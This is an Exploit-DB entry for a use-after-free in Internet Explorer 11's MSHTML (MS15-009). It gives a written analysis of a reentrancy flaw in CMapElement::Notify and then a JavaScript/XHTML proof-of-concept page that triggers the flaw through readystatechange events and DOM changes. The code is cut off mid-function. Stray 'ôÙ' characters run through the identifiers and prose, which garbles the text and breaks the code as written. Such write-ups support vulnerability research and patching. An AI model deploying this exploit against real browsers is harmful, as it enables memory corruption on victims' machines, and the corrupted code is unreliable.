Exploit-DB #40757
Description: Microsoft Internet Explorer 11 - MSHTML CMap­Element::Notify Use-After-Free (MS15-009)
Type: dos
Platform: windows
Date: 2016-11-14
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can cause MSIE 11 to interrupt the handling of one readystatechange event with another. This interrupts a call to one of the various C<ElementôÙName>Element::Notify functions to make another such call and at least one of these functions is non-reentrant. This can have various repercussions, e.g. when an attacker triggers this vulnerability using a CMapôÙElement object, a reference to that object can be stored in a linked list and the object itself can be freed. This pointer can later be re-used to cause a classic use-after-free issue.

Known affected versions, attack vectors and mitigations

Microsoft Internet Explorer 11

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaôÙScript should prevent an attacker from triggering the vulnerable code path.

Description

When a DocumentôÙFragment containing an applet element is added to the DOM, all elements receive a notification that they are removed from the CMarkup. Next, they are added to the DOM and receive notification of being added to another CMarkup. When the applet is added, a CObjectôÙElement is created and added to the CMarkup. This causes a readystatechange event to fire, which interrupts the current code. During this readystatechange event, the DOM may be modified, which causes further notifications to fire. However, elements in the DocumentôÙFragment that come after the applet element have already received a notification that they have been remove from one CMarkup, but not that they have been added to the new one. Thus, these elements may receive another notification of removal, followed by two notifications of being added to a CMarkup.
-->

<?xml version="1.0"?>
<!DOCTYPE x PUBLIC "x" "x">
<html xmlns="http://www.w3.org/1999/xhtml">
  <script type="text/javascript">
    <![CDATA[
      // This PoôÙC attempts to exploit a renetrancy issue in Microsoft Internet
      // Explorer to trigger a use-after-free.
      // See http://blog.skylined.nl/[PII_REDACTED]1.html for details.
      var oôÙDocôÙElem = document.documentôÙElement;
      var oôÙContainer, oôÙMap1, oôÙMap2, uôÙEventôÙCounter = 0;
      // A C CMarkup object can have a pointer to a C CDoc object. This C
      // CDoc object has a singly linked list of CMapôÙElements added to the
      // DOM, starting at offset 8 (See MSHTML!CMarkup::GetôÙMapôÙHead) of the CDoc
      // and continuing through offset 38 of the CMapôÙElement.
      // CDoc[8] -> CMapôÙElement[38]#1 -> CMapôÙElement[38]#2 -> etc... -> NULL
      // When CMapôÙElement::Notify is called to add a Map element to the DOM,
      // code 0x17, the CMapôÙElement is inserted at the start of this list.
      // When CMapôÙElement::Notify is called to remove a Map element from the
      // DOM, code 0x18, the linked list is followed to find the CMapôÙElement and
      // remove if from the list when found.
      // When CMapôÙElement::Notify is called twice to add the same element to the
      // DOM, a loop is created, rather than the CMapôÙElement ending up in the
      // list twice.
      // When CMapôÙElement::Notify is called twice to remove the same element
      // from the DOM, nothing happens the second time.
      function onôÙReadyôÙStateôÙChangeôÙCallback(){
        var uôÙEventôÙId = ++uôÙEventôÙCounter;
        if (uôÙEventôÙId == 1) {
          // Create a "container" DOM element with three children:
          // map, applet, map.
          oôÙContainer = document.createôÙElement("oôÙContainer");
          oôÙMap1 = oôÙContainer.appendôÙChild(document.createôÙElement("map"));
          oôÙContainer.appendôÙChild(document.createôÙElement("applet"));
          oôÙMap2 = oôÙContainer.appendôÙChild(document.createôÙElement("map"));
          // Add the container DOM element to the DOM document. While adding the
          // applet DOM object to the DOM document a new C "CObjectôÙElement" is
          // created and added to the C CMarkup (which is roughly the equivalent
          // of a DOM DocumentôÙFragment AFAICT). This triggers a new
          // readystatechange event that interrupts the current one.
          oôÙDocôÙElem.appendôÙChild(oôÙContainer);
          // The interrupting readystatechange event is fired after the oôÙMap2
          // C CMapôÙElement::Notify method has been call to notify that the
          // object is being removed from one DocumentôÙFragement, but before it
          // is notified that it is being added to another.
          // List#1 -> CMapôÙElement#1 -> NULL
        } else if (uôÙEventôÙId == 2) {
          oôÙContainer.removeôÙNode(true);
          // Removing the container from the document causes another round of
          // calls to ::Notify for remove and add. The last call to oôÙMap2 was
          // to inform it that it was removed from a C CMarkup. It is now
          // getting another such call. This is unexpected, but the code does
          // not detect it. Next, it is added to a new list.
          // List#2 -> NULL
          // List#2 -> CMapôÙElement#2 -> CMapôÙElement#1 -> NULL
        }
        if (uôÙEventôÙId == 1) {
          // Now, the delayed C CMapôÙElement::Notify method to add the object
          // to the DOM is called. The CMapôÙElement is added to the same list
          // again, causing a loop.
          // List#2 -> CMapôÙElement#2 -> CMapôÙElement#2 -> loop.
          // Finally, we remove the CMapôÙElement from the DOM and destroy all
          // references we have to it. This causes another round of calls to
          // ::Notify for remove and add, only the remove is important, as
          // it fails to remove the CMapôÙElement from the list because it
          // contains a loop.
          oôÙMap2.removeôÙNode();
          oôÙMap2 = null;
          // List#2 -> CMapôÙElement#2 -> CMapôÙElement#2 -> loop.